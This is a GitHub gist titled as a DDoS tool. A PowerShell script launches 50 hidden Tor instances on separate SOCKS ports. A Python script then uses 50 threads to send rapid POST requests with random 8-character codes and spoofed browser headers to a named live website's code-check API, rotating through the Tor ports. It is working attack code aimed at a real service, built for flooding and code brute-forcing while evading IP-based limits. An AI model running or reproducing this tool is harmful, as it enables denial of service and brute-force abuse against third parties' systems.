Created
July 31, 2025 21:32
-
-
Save zr0n/79dd12cbf55a26adcbcfed89ca926a40 to your computer and use it in GitHub Desktop.
DDOS running multiple ips on the same machine
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Configurações | |
| $torPath = "F:\tor\tor\tor.exe" | |
| $startPort = 9050 | |
| $instanceCount = 50 | |
| $baseDataDir = "F:\tor\instances" | |
| $waitTime = 15 # Tempo de espera para inicialização em segundos | |
| # Limpeza e preparação | |
| if (Test-Path $baseDataDir) { | |
| Remove-Item $baseDataDir -Recurse -Force -ErrorAction SilentlyContinue | |
| } | |
| New-Item -ItemType Directory -Path $baseDataDir -Force | Out-Null | |
| # Iniciar todas as instâncias primeiro | |
| Write-Host "Iniciando $instanceCount instâncias do Tor..." | |
| $processes = @() | |
| for ($i = 0; $i -lt $instanceCount; $i++) { | |
| $port = $startPort + $i | |
| $dataDir = Join-Path $baseDataDir "instance_$port" | |
| New-Item -ItemType Directory -Path $dataDir -Force | Out-Null | |
| # Comando simplificado | |
| $arguments = @( | |
| "--SocksPort", "127.0.0.1:$port", | |
| "--DataDirectory", "`"$dataDir`""pytho | |
| ) | |
| $process = Start-Process -FilePath $torPath ` | |
| -ArgumentList $arguments ` | |
| -WindowStyle Hidden ` | |
| -PassThru ` | |
| -RedirectStandardOutput "$dataDir\stdout.log" ` | |
| -RedirectStandardError "$dataDir\stderr.log" | |
| $processes += @{ | |
| Port = $port | |
| Process = $process | |
| DataDir = $dataDir | |
| } | |
| Write-Host "Instância $($i+1)/$instanceCount iniciada na porta $port (PID: $($process.Id))" | |
| Start-Sleep -Milliseconds 100 | |
| } | |
| # Esperar tempo suficiente para inicialização | |
| Write-Host "Aguardando $waitTime segundos para inicialização completa..." | |
| Start-Sleep -Seconds $waitTime | |
| # Verificar status | |
| $activeCount = 0 | |
| foreach ($instance in $processes) { | |
| $port = $instance.Port | |
| $process = $instance.Process | |
| $dataDir = $instance.DataDir | |
| # Verificar se o processo ainda está ativo | |
| if (-not $process.HasExited) { | |
| # Verificar se a porta está aberta | |
| $portCheck = Test-NetConnection -ComputerName 127.0.0.1 -Port $port -WarningAction SilentlyContinue | |
| if ($portCheck.TcpTestSucceeded) { | |
| $status = "SUCESSO" | |
| $activeCount++ | |
| } else { | |
| $status = "FALHA (processo ativo mas porta não aberta)" | |
| } | |
| } else { | |
| $status = "FALHA (processo encerrado)" | |
| } | |
| # Verificar logs para diagnóstico | |
| $torLog = Join-Path $dataDir "tor.log" | |
| if (Test-Path $torLog) { | |
| $lastLog = Get-Content $torLog -Tail 5 -ErrorAction SilentlyContinue | |
| $logSummary = "Log: " + ($lastLog -join " | ") | |
| } else { | |
| $logSummary = "Nenhum log encontrado" | |
| } | |
| Write-Host "Porta $port`: $status - $logSummary" | |
| } | |
| # Relatório final | |
| Write-Host "`n==== RESULTADO FINAL ====" | |
| Write-Host "Instâncias ativas: $activeCount/$instanceCount" | |
| Write-Host "Diretório de dados: $baseDataDir" | |
| # Testar conexão com uma instância | |
| if ($activeCount -gt 0) { | |
| $testPort = $startPort | |
| Write-Host "`nTestando conexão com a porta $testPort..." | |
| try { | |
| $testUrl = "https://check.torproject.org" | |
| $proxy = "socks5://127.0.0.1:$testPort" | |
| $response = Invoke-WebRequest $testUrl -Proxy $proxy -ErrorAction Stop | |
| if ($response.Content -match "Congratulations. This browser is configured to use Tor") { | |
| Write-Host "SUCESSO: Tor funcionando corretamente na porta $testPort!" -ForegroundColor Green | |
| } else { | |
| Write-Host "AVISO: Conexão bem-sucedida, mas Tor não detectado" -ForegroundColor Yellow | |
| } | |
| } catch { | |
| Write-Host "ERRO: Falha na conexão com a porta $testPort - $($_.Exception.Message)" -ForegroundColor Red | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import threading | |
| import requests | |
| import random | |
| import string | |
| import time | |
| import queue | |
| # Configurações | |
| NUM_THREADS = 50 | |
| START_PORT = 9050 | |
| BASE_URL = "https://0k.mom/api/check-code" | |
| REQUEST_INTERVAL = 0.01 # Intervalo entre requisições em segundos | |
| RESULTS_QUEUE = queue.Queue() | |
| # Headers fixos para as requisições | |
| HEADERS = { | |
| "Host": "0k.mom", | |
| "Sec-Ch-Ua-Platform": "\"Windows\"", | |
| "Accept-Language": "en-US,en;q=0.9", | |
| "Sec-Ch-Ua": "\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"", | |
| "Content-Type": "application/json", | |
| "Sec-Ch-Ua-Mobile": "?0", | |
| "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", | |
| "Accept": "*/*", | |
| "Origin": "https://0k.mom", | |
| "Sec-Fetch-Site": "same-origin", | |
| "Sec-Fetch-Mode": "cors", | |
| "Sec-Fetch-Dest": "empty", | |
| "Referer": "https://0k.mom/", | |
| "Priority": "u=1, i" | |
| } | |
| def get_random_code(length=8): | |
| """Gera um código aleatório com letras e números""" | |
| chars = string.ascii_letters + string.digits | |
| return ''.join(random.choice(chars) for _ in range(length)) | |
| def tor_worker(port): | |
| """Função executada por cada thread para fazer as requisições""" | |
| proxies = { | |
| 'http': f'socks5h://127.0.0.1:{port}', | |
| 'https': f'socks5h://127.0.0.1:{port}' | |
| } | |
| while True: | |
| try: | |
| # Gera novo código e prepara payload | |
| custom_code = get_random_code() | |
| payload = {"customCode": custom_code} | |
| # Faz a requisição | |
| response = requests.post( | |
| BASE_URL, | |
| headers=HEADERS, | |
| json=payload, | |
| proxies=proxies, | |
| timeout=10 | |
| ) | |
| # Envia resultado para a fila | |
| RESULTS_QUEUE.put({ | |
| 'status': response.status_code, | |
| 'code': custom_code, | |
| 'port': port | |
| }) | |
| except Exception as e: | |
| RESULTS_QUEUE.put({ | |
| 'status': f"Error: {str(e)}", | |
| 'code': custom_code, | |
| 'port': port | |
| }) | |
| time.sleep(REQUEST_INTERVAL) | |
| def result_printer(): | |
| """Função para imprimir resultados na thread principal""" | |
| while True: | |
| result = RESULTS_QUEUE.get() | |
| print(f"[Porta {result['port']}] Status: {result['status']} | Código: {result['code']}") | |
| def main(): | |
| # Cria e inicia as threads | |
| threads = [] | |
| for i in range(NUM_THREADS): | |
| port = START_PORT + i | |
| t = threading.Thread( | |
| target=tor_worker, | |
| args=(port,), | |
| daemon=True | |
| ) | |
| t.start() | |
| threads.append(t) | |
| # Inicia a impressora de resultados | |
| printer_thread = threading.Thread(target=result_printer, daemon=True) | |
| printer_thread.start() | |
| # Mantém o programa rodando | |
| try: | |
| while True: | |
| time.sleep(1) | |
| except KeyboardInterrupt: | |
| print("\nEncerrando...") | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment